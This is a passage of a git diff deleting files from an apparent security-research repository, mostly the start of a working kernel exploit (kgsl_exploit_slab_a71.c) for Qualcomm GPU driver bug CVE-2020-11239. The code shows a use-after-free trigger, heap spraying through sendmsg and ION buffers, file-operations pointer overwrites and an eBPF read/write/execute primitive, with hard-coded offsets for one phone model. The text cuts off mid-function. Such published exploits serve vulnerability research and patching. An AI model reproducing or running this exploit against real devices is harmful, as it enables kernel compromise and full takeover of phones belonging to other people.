-#define FASTRPC_IOCTL_CONTROL   _IOWR('R', 12, struct fastrpc_ioctl_control)
-#define FASTRPC_IOCTL_MUNMAP_FD _IOWR('R', 13, struct fastrpc_ioctl_munmap_fd)
-
-#define FASTRPC_CONTROL_LATENCY	(1)
-struct fastrpc_ctrl_latency {
-	uint32_t enable;	/* latency control enable */
-	uint32_t level;		/* level of control */
-};
-
-#define FASTRPC_CONTROL_KALLOC	(3)
-struct fastrpc_ctrl_kalloc {
-	uint32_t kalloc_support;  /* Remote memory allocation from kernel */
-};
-
-struct fastrpc_ioctl_control {
-	uint32_t req;
-	union {
-		struct fastrpc_ctrl_latency lp;
-		struct fastrpc_ctrl_kalloc kalloc;
-	};
-};
-
-#define FASTRPC_INIT_CREATE 1
-
-
-struct scatterlist {
-	unsigned long	page_link;
-	unsigned int	offset;
-	unsigned int	length;
-	uint64_t	dma_address;
-    unsigned int	dma_length;
-};
-
-enum region_type {
-  binder,
-  dma,
-  null
-};
-
-//---------------BPF---------------------------------------------------------
-
-#define BPF_ALU64_REG(OP, DST, SRC)				\
-	((struct bpf_insn) {					\
-		.code  = BPF_ALU64 | BPF_OP(OP) | BPF_X,	\
-		.dst_reg = DST,					\
-		.src_reg = SRC,					\
-		.off   = 0,					\
-		.imm   = 0 })
-
-#define BPF_ALU64_IMM(OP, DST, IMM)				\
-	((struct bpf_insn) {					\
-		.code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,	\
-		.dst_reg = DST,					\
-		.src_reg = 0,					\
-		.off   = 0,					\
-		.imm   = IMM })
-
-#define BPF_MOV64_REG(DST, SRC)					\
-	((struct bpf_insn) {					\
-		.code  = BPF_ALU64 | BPF_MOV | BPF_X,		\
-		.dst_reg = DST,					\
-		.src_reg = SRC,					\
-		.off   = 0,					\
-		.imm   = 0 })
-
-#define BPF_MOV64_IMM(DST, IMM)					\
-	((struct bpf_insn) {					\
-		.code  = BPF_ALU64 | BPF_MOV | BPF_K,		\
-		.dst_reg = DST,					\
-		.src_reg = 0,					\
-		.off   = 0,					\
-		.imm   = IMM })
-
-#define BPF_LD_IMM64(DST, IMM)					\
-	BPF_LD_IMM64_RAW(DST, 0, IMM)
-
-#define BPF_LD_IMM64_RAW(DST, SRC, IMM)				\
-	((struct bpf_insn) {					\
-		.code  = BPF_LD | BPF_DW | BPF_IMM,		\
-		.dst_reg = DST,					\
-		.src_reg = SRC,					\
-		.off   = 0,					\
-		.imm   = (__u32) (IMM) }),			\
-	((struct bpf_insn) {					\
-		.code  = 0, /* zero is reserved opcode */	\
-		.dst_reg = 0,					\
-		.src_reg = 0,					\
-		.off   = 0,					\
-		.imm   = ((__u64) (IMM)) >> 32 })
-
-#define BPF_MOV64_RAW(TYPE, DST, SRC, IMM)			\
-	((struct bpf_insn) {					\
-		.code  = BPF_ALU64 | BPF_MOV | BPF_SRC(TYPE),	\
-		.dst_reg = DST,					\
-		.src_reg = SRC,					\
-		.off   = 0,					\
-		.imm   = IMM })
-
-#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)			\
-	((struct bpf_insn) {					\
-		.code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,	\
-		.dst_reg = DST,					\
-		.src_reg = SRC,					\
-		.off   = OFF,					\
-		.imm   = 0 })
-
-#define BPF_STX_MEM(SIZE, DST, SRC, OFF)			\
-	((struct bpf_insn) {					\
-		.code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,	\
-		.dst_reg = DST,					\
-		.src_reg = SRC,					\
-		.off   = OFF,					\
-		.imm   = 0 })
-
-#define BPF_STX_XADD(SIZE, DST, SRC, OFF)			\
-	((struct bpf_insn) {					\
-		.code  = BPF_STX | BPF_SIZE(SIZE) | BPF_XADD,	\
-		.dst_reg = DST,					\
-		.src_reg = SRC,					\
-		.off   = OFF,					\
-		.imm   = 0 })
-
-#define BPF_ST_MEM(SIZE, DST, OFF, IMM)				\
-	((struct bpf_insn) {					\
-		.code  = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM,	\
-		.dst_reg = DST,					\
-		.src_reg = 0,					\
-		.off   = OFF,					\
-		.imm   = IMM })
-
-#define BPF_JMP_REG(OP, DST, SRC, OFF)				\
-	((struct bpf_insn) {					\
-		.code  = BPF_JMP | BPF_OP(OP) | BPF_X,		\
-		.dst_reg = DST,					\
-		.src_reg = SRC,					\
-		.off   = OFF,					\
-		.imm   = 0 })
-
-#define BPF_JMP_IMM(OP, DST, IMM, OFF)				\
-	((struct bpf_insn) {					\
-		.code  = BPF_JMP | BPF_OP(OP) | BPF_K,		\
-		.dst_reg = DST,					\
-		.src_reg = 0,					\
-		.off   = OFF,					\
-		.imm   = IMM })
-
-#define BPF_JMP_A(OFF)						\
-	((struct bpf_insn) {					\
-		.code  = BPF_JMP | BPF_JA,			\
-		.dst_reg = 0,					\
-		.src_reg = 0,					\
-		.off   = OFF,					\
-		.imm   = 0 })
-
-// This check has been added to ensure that function calls are always within the allowed range.
-#define BPF_EMIT_CALL__IMM(FUNC)	({			\
-		uintptr_t __offset = (FUNC) - __bpf_call_base;	\
-		(__s32) __offset;				\
-	})
-
-#define BPF_EMIT_CALL(FUNC)					\
-	((struct bpf_insn) {					\
-		.code  = BPF_JMP | BPF_CALL,			\
-		.dst_reg = 0,					\
-		.src_reg = 0,					\
-		.off   = 0,					\
-		.imm   = BPF_EMIT_CALL__IMM(FUNC)/*((FUNC) - __bpf_call_base)*/ })
-
-#define BPF_EXIT_INSN()						\
-	((struct bpf_insn) {					\
-		.code  = BPF_JMP | BPF_EXIT,			\
-		.dst_reg = 0,					\
-		.src_reg = 0,					\
-		.off   = 0,					\
-		.imm   = 0 })
-
-
-#endif
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c
deleted file mode 100644
index 036f2c2..0000000
--- a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c
+++ /dev/null
@@ -1,1047 +0,0 @@
-#include <err.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <sys/prctl.h>
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <netinet/ip.h>
-#include <sys/syscall.h>
-#include <sched.h>
-#include <sys/un.h>
-#include <pthread.h>
-#include "kgsl_exploit.h"
-#include <sys/time.h>
-
-//A71:
-//dma_buf_fops - __bpf_prog_run32
-#define DMA_TO_BPF 0x16f2798
-//null_fops - __bpf_prog_run32
-#define NULL_TO_BPF 0x16c2700
-//__bpf_prog_run32 - __bpf_call_base
-#define BPF_TO_BASE 0x18f8
-
-#define SPRAY_1 1
-#define PIPE 1
-
-#define DELAY 4000
-#define OBJ_SIZE 37
-#define NENTS 1
-#define NB_REALLOC_THREADS 8
-#define SYS_LEN 0x1000
-#define SYS_LEN_0 0xf000
-//between 320 -480 seems ok
-#define REGIONS_LEN_1 (480 * 16)
-#define REGIONS_LEN_2 (1024)
-#define DMA_ADDRESS 0xfffbf000
-#define DMA_PAGES 64
-#define VMAS_LEN 50
-#define ORDER 26
-#define TRIGGER_THRESH 1000
-#define BOUNCE_LEN 64
-#define SLAB_LEN 5000
-#define CPU0 0
-#define CPU1 1
-
-#ifdef DMA_SPRAY
-  #define MMAP_LEN 64
-  #ifdef SPRAY_1
-    #define G_REGION_LEN 4
-  #else
-    #define G_REGION_LEN 3
-   #endif
-#else
-    #define MMAP_LEN 65
-  #ifdef SPRAY_1
-    #define G_REGION_LEN 2
-  #else
-    #define G_REGION_LEN 1
-  #endif
-#endif
-
-static volatile size_t g_nb_realloc_thread_ready = 0;
-static volatile size_t g_realloc_now = 0;
-static volatile size_t g_trigger_now = 0;
-static volatile size_t g_map_now = 0;
-static volatile size_t g_import_now = 0;
-static volatile size_t g_finished_read = 0;
-static volatile size_t g_unlocked_read = 0;
-static volatile char* g_ion_regions[G_REGION_LEN] = {0};
-static char* bounce_regions[BOUNCE_LEN];
-static int bounce_fds[BOUNCE_LEN];
-static char* ion_sys_regions[REGIONS_LEN_1 + REGIONS_LEN_2] = {0};
-static int ion_sys_fds[REGIONS_LEN_1] = {0};
-static int ion_sys_fds2[REGIONS_LEN_2] = {0};
-static long trigger_time = 0;
-static unsigned long ion_addr = 0;
-static unsigned long bpf_addr = 0;
-
-//-------eBPF program, from https://googleprojectzero.blogspot.com/2020/12/an-ios-hacker-tries-android.html -------------------------------------------------------
-
-// 25. Copy an eBPF program to run into the ION buffer. A pointer to this program is passed
-// to __bpf_prog_run32() as the second argument.
-//
-// This program will implement a very simple read/write/execute busy loop: it reads from
-// the ION buffer to see if there's an operation ('r', 'w', or 'x') to run, reads the
-// parameters from the ION buffer, and then executes the operation.
-//operation
-static int bpf_op_offset = 0x000;
-//rw input address
-static int bpf_rw_addr_offset = 0x008;
-//output address
-static int bpf_out_offset = 0x108;
-//arguments offsets
-static int bpf_arg0 = 0x10;
-static int bpf_arg1 = 0x18;
-static int bpf_arg2 = 0x20;
-static int bpf_arg3 = 0x28;
-static int bpf_arg4 = 0x30;
-
-//---------------------------------sendmsg heap spraying, from https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html ---------------------------------
-
-#define CPU_SETSIZE 1024
-#define __NCPUBITS  (8 * sizeof (unsigned long))
-typedef struct
-{
-   unsigned long __bits[CPU_SETSIZE / __NCPUBITS];
-} cpu_set_t;
-
-#define CPU_SET(cpu, cpusetp) \
-  ((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS)))
-#define CPU_ZERO(cpusetp) \
-  memset((cpusetp), 0, sizeof(cpu_set_t))
-
-void reset_globals() {
-  g_nb_realloc_thread_ready = 0;
-  g_realloc_now = 0;
-  g_trigger_now = 0;
-  g_map_now = 0;
-  g_import_now = 0;
-  g_finished_read = 0;
-  g_unlocked_read = 0;
-  for (int i = 0; i < G_REGION_LEN; i++) {
-    g_ion_regions[i] = 0;
-  }
-}
-
-void migrate_to_cpu(int cpu_num) {
-    int syscallres;
-    pid_t pid = gettid();
-    cpu_set_t cpu;
-    CPU_ZERO(&cpu);
-    CPU_SET(cpu_num, &cpu);
-
-    syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu);
-    if (syscallres)
-    {
-        err(1, "Error in the syscall setaffinity");
-    }
-}
-
-static volatile char g_realloc_data[OBJ_SIZE];
-
-int init_realloc_data(uint64_t dma_address, size_t length) {
-  struct cmsghdr *first;
-  struct scatterlist* scatter_view; 
-
-  first = (struct cmsghdr*) g_realloc_data;
-  first->cmsg_len = sizeof(g_realloc_data);
-  first->cmsg_level = 0;
-
-  scatter_view = (struct scatterlist*) g_realloc_data;
-  for (int i = 0; i < NENTS; i++) {
-    scatter_view[i].length = length;
-    scatter_view[i].dma_length = length;
-    scatter_view[i].dma_address = dma_address;
-  }
-  return 0;  
-}
-
-struct realloc_thread_arg
-{
-  pthread_t tid;
-  int recv_fd;
-  int send_fd;
-  struct sockaddr_un addr;
-};
-
-int init_unix_sockets(struct realloc_thread_arg * rta) {
-  struct timeval tv;
-  static int sock_counter = 0;
-
-  if (((rta->recv_fd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) ||
-      ((rta->send_fd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0))
-  {
-    perror("[-] socket");
-    goto fail;
-  }
-
-  memset(&rta->addr, 0, sizeof(rta->addr));
-  rta->addr.sun_family = AF_UNIX;
-  sprintf(rta->addr.sun_path + 1, "sock_%x_%d", gettid(), ++sock_counter);
-  if (bind(rta->recv_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr)))
-  {
-    perror("[-] bind");
-    goto fail;
-  }
-
-  if (connect(rta->send_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr)))
-  {
-    perror("[-] connect");
-    goto fail;
-  }
-
-  memset(&tv, 0, sizeof(tv));
-  if (setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv))) {
-    err(1, "setsockopt");
-  }
-
-  return 0;
-fail:
-  printf("[-] failed to initialize UNIX sockets!\n");
-  return -1;
-}
-
-static void* realloc_thread(void *arg)
-{
-  struct realloc_thread_arg *rta = (struct realloc_thread_arg*) arg;
-  struct msghdr mhdr;
-  char buf[200];
-
-  // initialize msghdr
-  struct iovec iov = {
-    .iov_base = buf,
-    .iov_len = sizeof(buf),
-  };
-  memset(&mhdr, 0, sizeof(mhdr));
-  mhdr.msg_iov = &iov;
-  mhdr.msg_iovlen = 1;
-
-  // the thread should inherit main thread cpumask, better be sure and redo-it!
-  migrate_to_cpu(CPU0);
-
-  // make it block
-  while (sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0);
-
-  if (errno != EAGAIN)
-  { 
-    perror("[-] sendmsg");
-    goto fail;
-  }
-
-  // use the arbitrary data now
-  iov.iov_len = 16; // don't need to allocate lots of memory in the receive queue
-  mhdr.msg_control = (void*)g_realloc_data; // use the ancillary data buffer
-  mhdr.msg_controllen = sizeof(g_realloc_data);
-
-  g_nb_realloc_thread_ready++;
-
-  while (!g_realloc_now) // spinlock until the big GO!
-    ;
-
-  // the next call should block while "reallocating"
-  if (sendmsg(rta->send_fd, &mhdr, 0) < 0)
-  {
-    perror("[-] sendmsg");
-    goto fail;
-  }
-  printf("[+] REALLOC THREAD finished\n");
-  return NULL;
-
-fail:
-  printf("[-] REALLOC THREAD FAILURE!!!\n");
-  return NULL;
-}
-
-int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs, uint64_t dma_address, size_t length)
-{
-  int thread = 0;
-  int ret = -1;
-
-  if (init_realloc_data(dma_address, length))
-  {
-    printf("[-] failed to initialize reallocation data!\n");
-    goto fail;
-  }
-  printf("[+] reallocation data initialized!\n");
-
-  printf("[ ] initializing reallocation threads, please wait...\n");
-  for (thread = 0; thread < nb_reallocs; ++thread)
-  {
-    if (init_unix_sockets(&rta[thread]))
-    {
-      printf("[-] failed to init UNIX sockets!\n");
-      goto fail;
-    }
-
-    if ((ret = pthread_create(&rta[thread].tid, NULL, realloc_thread, &rta[thread])) != 0)
-    {
-      perror("[-] pthread_create");
-      goto fail;
-    }
-  }
-
-  while (g_nb_realloc_thread_ready < nb_reallocs)
-    sched_yield();
-
-  printf("[+] %lu reallocation threads ready!\n", nb_reallocs);
-
-  return 0;
-
-fail:
-  printf("[-] failed to initialize reallocation\n");
-  return -1;
-}
-
-//------------------------ Specifics to trigger the bug-------------------------------------
-
-struct trigger_uaf_arg {
-  int fd;
-  unsigned int read;
-};
-
-void* trigger_uaf(void* arg) {
-
-  migrate_to_cpu(CPU1);
-  struct trigger_uaf_arg* trigger_arg = (struct trigger_uaf_arg*)arg;
-  struct dma_buf_sync sync;
-  struct timeval start, end;
-  long micros_used, secs_used;
-  if (trigger_arg->read) {
-    sync.flags = DMA_BUF_SYNC_READ;
-  } else {
-    sync.flags = DMA_BUF_SYNC_RW | DMA_BUF_SYNC_END;
-  }
-  sync.flags |= DMA_BUF_SYNC_USER_MAPPED;
-  while (!g_trigger_now);
-  for (int i = 0; i < DELAY; i++);
-  gettimeofday(&start, NULL);
-  ioctl(trigger_arg->fd, DMA_BUF_IOCTL_SYNC, (unsigned long)(&sync));
-  gettimeofday(&end, NULL);
-  secs_used=(end.tv_sec - start.tv_sec); //avoid overflow by subtracting first
-  trigger_time = ((secs_used*1000000) + end.tv_usec) - (start.tv_usec);
-  printf("micros_used: %ld\n",trigger_time);  
-  return NULL;
-}
-
-void* read_pipe(void* arg) {
-  int buffer[80];
-  
-  migrate_to_cpu(CPU1);
-  int fd = *((int*)arg);
-  read(fd, buffer, sizeof(buffer));
-  g_unlocked_read = 1;
-  close(fd);
-  while(!g_finished_read);
-  return NULL;  
-}
-
-void* ion_map(void* arg) {
-  migrate_to_cpu(CPU0);
-  int fd = *((int*)arg);
-#ifdef SPRAY_1
-  while (!g_map_now);
-#endif
-  for (int i = 0; i < G_REGION_LEN; i++) {
-    g_ion_regions[i] = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, i * 0x1000);
-    if (g_ion_regions[i] == MAP_FAILED) {
-      err(1, "ion region map %d failed", i);
-    }
-  }
-  return NULL;
-}
-
-void* gpu_import(void* arg) {
-  migrate_to_cpu(CPU0);
-  struct kgsl_gpuobj_import* par = (struct kgsl_gpuobj_import*)arg;
-  int kgsl_fd = par->id;
-  par->id = 0;
-  while (!g_import_now);
-#ifndef SPRAY_1
-  for (int i = 0; i < G_REGION_LEN; i++) {
-    munmap((void*)(g_ion_regions[i]), 0x1000);
-  }
-#endif
-  if (ioctl(kgsl_fd, IOCTL_KGSL_GPUOBJ_IMPORT, par) < 0) {
-      err(1, "IOCTL_KGSL_GPUOBJ_IMPORT 2 failed.\n");
-  }
-  return NULL;
-}
-
-uint64_t compute_alignment(size_t power) {
-  return (uint64_t)((power << 16) & 0xFF0000);
-}
-
-//Fill out kgsl memory so the next one will fail
-void prepare_gpu_import(int kgsl_fd, uint64_t* regions) {
-
-  for (int i = 0; i < MMAP_LEN - 1; i++) {
-    struct kgsl_gpuobj_import par;
-    struct kgsl_gpuobj_import_useraddr useraddr = {.virtaddr = regions[i]};
-    par.flags = compute_alignment(ORDER);
-    par.priv = (uint64_t)(&useraddr);
-    par.type = KGSL_USER_MEM_TYPE_ADDR;
-    par.priv_len = 0x1000;
-    par.id = 0;
-    if (ioctl(kgsl_fd, IOCTL_KGSL_GPUOBJ_IMPORT, &par) < 0) {
-      err(1, "IOCTL_KGSL_GPUOBJ_IMPORT %d\n", i);
-    }
-  }
-}
-
-//-----------------------------------bounce buffer and buddy heap spraying--------------------
-
-struct bounce_buffer_param {
-  int rpc_fd;
-  int ion_fd;
-  int process_fd;
-  int args_fd;
-  char* process_region;
-  char* args_region;
-  char* sys_region;
-  int null_fds[SLAB_LEN];
-};
-
-void spray_system_heap(int ion_fd, struct bounce_buffer_param* param) {
-  //First round spraying, use large chunk up the memory pool.
-  for (int i = 0; i < REGIONS_LEN_1; i++) {
-	struct ion_allocation_data ion_alloc_data;
-	ion_alloc_data.len = SYS_LEN_0;
-	ion_alloc_data.flags = 1;
-	ion_alloc_data.heap_id_mask = ION_HEAP(25);
-
-    if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) {
-      err(1, "ION_IOC_ALLOC bounce failed\n");
-    }
-    ion_sys_fds[i] = ion_alloc_data.fd;
-  }
-  //Second round spraying, use single page so we can map it to bounce buffer.
-  for (int i = 0; i < REGIONS_LEN_2; i++) {
-	struct ion_allocation_data ion_alloc_data;
-	ion_alloc_data.len = SYS_LEN;
-	ion_alloc_data.flags = 1;
-	ion_alloc_data.heap_id_mask = ION_HEAP(25);
-
-    if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) {
-      err(1, "ION_IOC_ALLOC bounce failed\n");
-    }
-    ion_sys_fds2[i] = ion_alloc_data.fd;
-  }
-
-  //Spray with null files to create new slab 
-  for (int i = 0; i < SLAB_LEN; i++) {
-    param->null_fds[i] = open("/dev/null", 0);
-  }
-
-  
-  //set the top and bottom as bounce regions
-  if (BOUNCE_LEN < 2) {
-    err(1, "bounce len has to be greater than or equal to 2\n");
-  }
-  //Use region2 to map the rest of the bounce buffer.
-  for (int i = 0; i < BOUNCE_LEN; i++) {
-    if (i == 1) continue;
-    bounce_regions[i] = ion_sys_regions[i] = mmap(NULL, SYS_LEN, PROT_READ | PROT_WRITE, MAP_SHARED, ion_sys_fds2[REGIONS_LEN_2 - 1 - BOUNCE_LEN + i], 0);
-    if (bounce_regions[i] == MAP_FAILED) {
-      err(1, "bounce regions failed\n");
-    }
-    bounce_fds[i] = ion_sys_fds2[REGIONS_LEN_2 - 1 - BOUNCE_LEN + i];
-  }
-  //Last of region 1 should be below the new slab, map it to the first bounce region
-  bounce_regions[1] = ion_sys_regions[1] = mmap(NULL, SYS_LEN, PROT_READ | PROT_WRITE, MAP_SHARED, ion_sys_fds2[REGIONS_LEN_2 - 1], 0);
-  if (bounce_regions[1] == MAP_FAILED) {
-    err(1, "bounce regions failed\n");
-  }
-  bounce_fds[1] = ion_sys_fds2[REGIONS_LEN_2 - 1];
-}
-
-void allocate_bounce_buffer(struct bounce_buffer_param* param) {
-
-  int ion_fd = open("/dev/ion", O_RDONLY);
-  if (ion_fd == -1) {
-    err(1, "cannot open ion\n");
-  }
-
-  spray_system_heap(ion_fd, param);
-  int rpc_fd;
-
-  int rpc_id = open("/dev/adsprpc-smd", 0);
-  if (rpc_id == -1) {
-    err(1, "cannot open rpc\n");
-  }
-  printf("rpc opened\n");
-  uint32_t info_ptr[1];
-  info_ptr[0] = 3;
-
-  if(ioctl(rpc_id, FASTRPC_IOCTL_GETINFO, info_ptr) < 0) {
-    err(1, "rpc getinfo failed\n");
-  }
-
-  for (int i = 0; i < BOUNCE_LEN; i++) {
-	struct remote_dma_handle dma = {.fd = bounce_fds[i], .offset = 0};
-	union remote_arg args[1];
-	args[0].dma = dma;
-	  
-	struct fastrpc_ioctl_invoke invoke = {0};
-	invoke.handle = 0x3;
-	invoke.sc = 16;
-	invoke.pra = &(args[0]);
-	unsigned int attrs = 16;
-    struct fastrpc_ioctl_invoke_attrs crc;
-    crc.inv = invoke;
-    crc.attrs = &attrs;
-    crc.fds = &(bounce_fds[i]);
-    ioctl(rpc_id, FASTRPC_IOCTL_INVOKE_ATTRS, &crc);
-  }
-  param->rpc_fd = rpc_fd;
-  param->ion_fd = ion_fd;
-  return;
-}
-
-void sync_bounce_buffer(int read, int index) {
-  struct dma_buf_sync sync;
-  sync.flags = DMA_BUF_SYNC_RW;
-  if (read) {
-    sync.flags |= DMA_BUF_SYNC_END;
-  }
-  if (ioctl(bounce_fds[index], DMA_BUF_IOCTL_SYNC, (unsigned long)(&sync)) < 0) {
-    err(1, "error syncing bounce buffer %d\n", index);
-  }
-}
-
-void sync_bounce_buffers(int read) {
-  printf("[+] syncing bounce buffers\n");
-  for (int i = 0; i < BOUNCE_LEN; i++) {
-    sync_bounce_buffer(read, i);
-  }
-}
-
-//----------------------------Utils for finding addresses and faking objects------------------------------------
-
-//Fetch the pointer to the wait_list in struct file to calculate own address, then 
-//take away offset to calculate controlled ion buffer address.
-unsigned long calculate_ion_addr(long offset, int region) {
-  long wait_list_offset = offset + 0x38;
-  long total_offset = wait_list_offset + (region - 2)* SYS_LEN;
-  unsigned long* wait_list_addr = (unsigned long*)(&(ion_sys_regions[region][wait_list_offset]));
-  printf("null file addr: %lx\n", *wait_list_addr);
-  return *wait_list_addr - total_offset - SYS_LEN;
-}
-
-void overwrite_fops(int region, long offset, unsigned long ion_addr) {
-  unsigned long* fops_addr = (unsigned long*)(&(ion_sys_regions[region][offset]));
-  printf("overwrite fops %lx\n", fops_addr[1]);
-  fops_addr[1] = ion_addr;
-  return;
-}
-//overwrite file mode to allow lseek
-void overwrite_fmode(int region, long offset) {
-  long fmode_offset = offset + 0x28;
-  unsigned int* fmode = (unsigned int*)(&(ion_sys_regions[region][fmode_offset]));
-  printf("overwrite fops %x\n", fmode[0]);
-  //Add fmode lseek
-  *fmode |= 0x4;
-  return;
-}
-
-long search_null_fops(char* data, size_t len, unsigned long* result) {
-  size_t left = len;
-  char* curr = data;
-  unsigned long* curr_long;
-  //Observed pattern of a null file struct. These are right after the null_fops
-  const char null_pattern[32] = {
-    0, 0, 0,   0, 0,    0, 0,   0, 0x1, 0, 0, 0, 0, 0, 0, 0,
-    0, 0, 0x2, 0, 0x1d, 0, 0x2, 0, 0,   0, 0, 0, 0, 0, 0, 0
-  };
-
-  while (left) {
-    if (left >= 64) {
-      //match
-      if (!memcmp(curr + 16, &(null_pattern[0]), 32)) {
-        curr_long = (unsigned long*)curr;
-        *result = curr_long[1];
-        if ((*result >> 48) == 0xffff) {
-          return curr - data;
-        }
-      }
-    }
-    curr += 16;
-    left -= 16;
-  }
-  return -1;
-}
-
-long search_dma_fops(char* data, size_t len, unsigned long* result) {
-  size_t left = len;
-  char* curr = data;
-  unsigned long* curr_long;
-  //Observed pattern of a dma file struct. These are right after the dma_fops
-  const char dma_pattern[32] = {
-    0,   0, 0, 0, 0,   0, 0, 0, 0x1, 0, 0, 0, 0, 0, 0, 0,
-    0x2, 0, 0, 0, 0x7, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0, 0
-  };
-
-  while (left) {
-    if (left >= 64) {
-      //match
-      if (!memcmp(curr + 16, &(dma_pattern[0]), 32)) {
-        curr_long = (unsigned long*)curr;
-        *result = curr_long[1];
-        if ((*result >> 48) == 0xffff) {
-          return curr - data;
-        }
-      }
-    }
-    curr += 16;
-    left -= 16;
-  }
-  return -1;
-}
-
-int find_null_fops() {
-  unsigned long null_fops;
-  for (int i = 2; i < BOUNCE_LEN; i++) {
-    if (ion_sys_regions[i] != 0) {
-      long offset = search_null_fops(&(ion_sys_regions[i][0]), SYS_LEN, &null_fops);
-      if (offset != -1) {
-        printf("[+] Found null_fops at %d region offset %ld %lx\n", i, offset, null_fops);
-        ion_addr = calculate_ion_addr(offset, i);
-        bpf_addr = null_fops - NULL_TO_BPF;
-        printf("[+] ion region location: %lx\n", ion_addr);
-        printf("[+] bpf addr: %lx\n", bpf_addr);
-        overwrite_fops(i, offset, ion_addr);
-        overwrite_fmode(i, offset);
-        return i;
-      }
-    }
-  }
-  printf("[-] Failed to find null_fops\n");
-  return -1;
-}
-
-int find_dma_fops() {
-  unsigned long dma_fops;
-  for (int i = 2; i < BOUNCE_LEN; i++) {
-    if (ion_sys_regions[i] != 0) {
-      long offset = search_dma_fops(&(ion_sys_regions[i][0]), SYS_LEN, &dma_fops);
-      if (offset != -1) {
-        printf("[+] Found dma_buf_fops at %d region offset %ld %lx\n", i, offset, dma_fops);
-        ion_addr = calculate_ion_addr(offset, i);
-        bpf_addr = dma_fops - DMA_TO_BPF;
-        printf("[+] ion region location: %lx\n", ion_addr);
-        printf("[+] bpf addr: %lx\n", bpf_addr);
-        overwrite_fops(i, offset, ion_addr);
-        overwrite_fmode(i, offset);
-        return i;
-      }
-    }
-  }
-  printf("[-] Failed to find dma_buf_fops\n");
-  return -1;
-}
-
-void dump_memory(int i) {
-  char name[64];
-  snprintf(name, sizeof(name), "/data/local/tmp/mem_dump/mem_dump%u.bin", i);
-
-  FILE* fptr = fopen(name, "wb");
-  if (fptr == NULL) {
-    err(1, "error open dump file\n");
-  }
-
-  for (int i = 2; i < 64; i++) {
-    if (ion_sys_regions[i] != 0) {
-      fwrite(&(ion_sys_regions[i][0]), SYS_LEN, 1, fptr);
-    }
-  }
-
-  fclose(fptr);
-}
-
-//----------------------------------------------exploit part-----------------------------------------
-
-void do_one_rw(uint64_t dma_address, size_t length, uint64_t* regions, char* ion_region, int* ion_alloc_fds, unsigned int read) {
-  struct realloc_thread_arg rta[NB_REALLOC_THREADS];
-  memset(rta, 0, sizeof(rta));
-  if (init_reallocation(rta, NB_REALLOC_THREADS, dma_address, length)) {
-    err(1, "[-] failed to initialize reallocation!\n");
-  }
-
-  int kgsl_fd;
-
-  kgsl_fd = open("/dev/kgsl-3d0", 0);
-  if (kgsl_fd == -1) {
-    err(1, "cannot open kgsl\n");
-  }
-  
-  prepare_gpu_import(kgsl_fd, regions);
-
-  struct kgsl_gpuobj_import par;
-  struct kgsl_gpuobj_import_useraddr useraddr = {.virtaddr = (uint64_t)ion_region};
-  par.flags = 0x1F0000;
-  par.type = KGSL_USER_MEM_TYPE_ADDR;
-  par.priv_len = 0x1000;
-  par.priv = (uint64_t)(&useraddr);
-  par.id = 0;
-  
-  pthread_t trigger_tid;
-  struct trigger_uaf_arg arg = {.fd = ion_alloc_fds[0], .read = read};
-
-  if (pthread_create(&trigger_tid, NULL, trigger_uaf, &arg) != 0) {
-      err(1, "[-] pthread_create trigger");
-  }
-  int pipe_write[PIPE];
-  for (int i = 0; i < PIPE; i++) {
-    int pipe_fd[2];
-    pipe(pipe_fd);
-  
-    pthread_t rw_tid;
-    if (pthread_create(&rw_tid, NULL, read_pipe, &(pipe_fd[0])) != 0) {
-      err(1, "[-] pthread_create read");
-    }
-    pipe_write[i] = pipe_fd[1];
-    struct sched_param sched_par = {0};
-
-    if (pthread_setschedparam(rw_tid, SCHED_NORMAL, &sched_par) != 0) {
-      err(1, "[-] set priority for rw failed\n");
-    }
-  }
-
-  struct kgsl_gpuobj_import par2;
-  par2.flags = 0x1000;
-  par2.priv_len = 0x1000;
-  par2.id = kgsl_fd;
-#ifdef DMA_SPRAY
-  struct kgsl_gpuobj_import_dma_buf buf = {.fd = ion_alloc_fds[2]};
-  par2.type = KGSL_USER_MEM_TYPE_DMABUF;
-  par2.priv = (uint64_t)(&buf);
-#else
-  struct kgsl_gpuobj_import_useraddr useraddr2 = {.virtaddr = regions[MMAP_LEN - 1]};
-  par2.type = KGSL_USER_MEM_TYPE_ADDR;
-  par2.priv = (uint64_t)(&useraddr2);
-#endif
-
-  struct sched_param sched_par = {0};
-
-  if (pthread_setschedparam(trigger_tid, SCHED_IDLE, &sched_par) != 0) {
-    err(1, "[-] set priority for trigger failed\n");
-  }
-
-
-  char write_char;
-  write_char = 'a';
-
-  migrate_to_cpu(CPU0);
-
-  pthread_t import_tid;
-  if (pthread_create(&import_tid, NULL, gpu_import, &par2) != 0) {
-      err(1, "[-] pthread gpu_import");
-  }
-#ifdef SPRAY_1
-  pthread_t ion_map_tid;
-  if (pthread_create(&ion_map_tid, NULL, ion_map, &(ion_alloc_fds[1])) != 0) {
